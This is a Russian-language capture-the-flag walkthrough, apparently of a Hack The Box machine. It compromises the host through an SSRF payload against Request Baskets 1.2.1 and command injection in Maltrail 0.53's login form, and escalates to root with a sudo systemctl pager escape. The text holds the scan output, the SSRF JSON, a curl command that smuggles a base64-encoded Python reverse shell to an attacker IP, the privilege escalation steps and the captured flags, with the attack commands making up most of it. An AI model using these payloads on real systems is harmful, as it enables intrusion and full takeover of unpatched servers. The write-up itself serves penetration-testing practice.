Обзор сервисов
Стандартный запрос nmap показывает следующие сервисы:
$ /opt/nmapAutomator/nmapAutomator.sh -t Full -H 10.129.246.83
Running a Full scan on 10.129.246.83
Host is likely running Linux
---------------------Starting Full Scan------------------------
PORT STATE SERVICE
22/tcp open ssh
55555/tcp open unknown
Making a script scan on all ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 09 Jul 2023 15:26:04 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sun, 09 Jul 2023 15:25:36 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sun, 09 Jul 2023 15:25:37 GMT
|_ Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
---------------------Finished all scans------------------------
Completed in 4 minute(s) and 4 second(s)
Веб-интерфейс
Нас встречает Requests Basket версии 1.2.1. Беглый анализ показывает, что существует публичный эксплоит для SSRF. Воспользуемся полезной нагрузкой:
{
"forward_url": "http://127.0.0.1:80/",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}
Перейдя по адресу 10.129.246.83:55555/test15, обнаружим прикладное ПО Maltrail 0.53.
Для версии ниже 0.54 существует публичный эксплоит RCE. Нужно закодировать реверс шелл в base64, после чего запустить эксплоит:
nc -lnvp 443
curl 'http://10.129.246.83:55555/test15/login' --data 'username=;`echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMTA4Iiw0NDMpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oInNoIikn | base64 -d | bash`'
Пользовательский флаг
Сразу же забираем пользовательский флаг.
$ pwd
pwd
/home/puma
$ ls
ls
user.txt
$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
$ cat user.txt
cat user.txt
d10f093a3a2f787453473e575250a67d
Повышение привилегий
Проверим стандартные права для sudo.
$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Воспользуемся gtfobins и поднимем себе привилегии.
$ sudo systemctl status trail.service
...
$ !sh
# id
uid=0(root) gid=0(root) groups=0(root)
Флаг суперпользователя
$ cd /root
$ cat root.txt
0b7280bc4161a5bcfd5e8f2cc2aad54f